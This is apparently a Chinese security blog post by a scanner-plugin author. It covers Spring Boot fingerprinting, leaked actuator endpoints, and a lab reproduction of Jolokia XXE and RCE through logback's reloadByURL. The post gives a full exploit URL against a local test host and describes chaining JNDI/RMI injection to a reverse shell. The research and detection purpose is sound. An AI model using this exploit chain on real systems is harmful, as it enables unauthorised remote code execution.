前言

最近在写xray的springboot系列插件,这里先简单记录下一些tips,感觉网上缺的部分我稍微补充了下,然后大致先已经完成了未授权端点的检测,然后对于rce那些做了基本复现和分析,然后检测poc尝试性写了一部分。

正文

SpringBoot特征

一个是默认报错页面类似这个

一个是利用favicon来看

看了下推特上的方法可以用favicon的hash来在shadon ,fofa上面来搜http.favicon.hash:116323821

不过说实话我在写检测的时候其实没有加这些check,因为都是默认设置感觉还是不够准,所以参考下面的东西我去研究了下springboot的文档大概总结了下

SpringBoot敏感端点

我搜集的常见的actuator路径泄漏

在未更改路径的情况下,springboot1是/xxx,springboot2是/actuator/xxx

然后我稍微研究了下springboot的文档,然后对于这些路径,必然会出现的数据(可能不够准确,如果有错误请指正),首先判断是否返回是否为json格式,然后判断json中相应端点是否有对应的信息

SpringBoot Jolokia XXE

配下复现环境,我直接mvn没跑起来。。。然后在idea中跑起来来了,感觉是mvn版本或者一些依赖没弄好的原因,回头看下

利用的条件

  1. 有jolokia接口,如/jolokia,/actutor/jolokia
  2. 请求可以出网
  3. 如果要利用jndi的话,jdk版本可能有限制,不过高版本也存在绕过,但是需要依赖一些本地classpath的配置了,这里后面的文章再说

可以看下/jolokia/list中是否有reloadByURL方法利用

我们先大概说下利用流程

  1. 访问jolokia的相应url,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法
  2. 请求拿到了我们构造的恶意xml文件
  3. xml文件中指定了加载dtd文档中外部实体,然后可以任意读取了,也就是可以触发xxe了

我们看下logback.xml文件和file.dtd文件,然后起一个web服务放在下面

然后就可以访问相应的url来进行xxe的触发了

http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:8111!/logback.xml

SpringBoot Jolokia RCE

还是利用前面的xxe漏洞,这里可以利用insertFromJNDI标签来设置jndi目标,然后配合jndi注入来getshell,我们看下改写的logback.xml文件

然后如果想要利用高版本的jdk(比如这里我用的就是1.8.0u242)的话,需要使用一些其他方法类似这里我们选择的ELProcessor类,具体可以看kingx大佬的这篇文章

然后我们看下我们构造的恶意Server类,起一个RMI服务

然后同样还是python启动一个web服务来提供xml文件,然后xml文件指定好rmi地址,最后我们ncat在本地监听下,访问

http://127.0.0.1:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/127.0.0.1:8111!/logback.xml后成功反弹shell

其他的springboot等之后我有空了继续写吧

一些检测的想法

首先直接判断是否jolokia可用是不够精准的,虽然已经算可以是一个洞了,这些敏感信息不应该抛出来,然后我个人觉得其实检测到xml是否能够打到xxe就够了,毕竟有回显会很方便,如果要继续检测的话还要配置jndi来起rmi服务(注意不要用DNSLOG,因为如果是在内网的话是不好用的)比较麻烦,写了大概还在考虑更具体的方法,毕竟jndi注入还要看jdk版本以及一些本地的配置,比较复杂。

总结

springboot的其他RCE例如h2,spel表达式,spring cloud,xstream等等我后面再写下,最近忙着准备秋招,太忙了,今天就暂时到这里吧。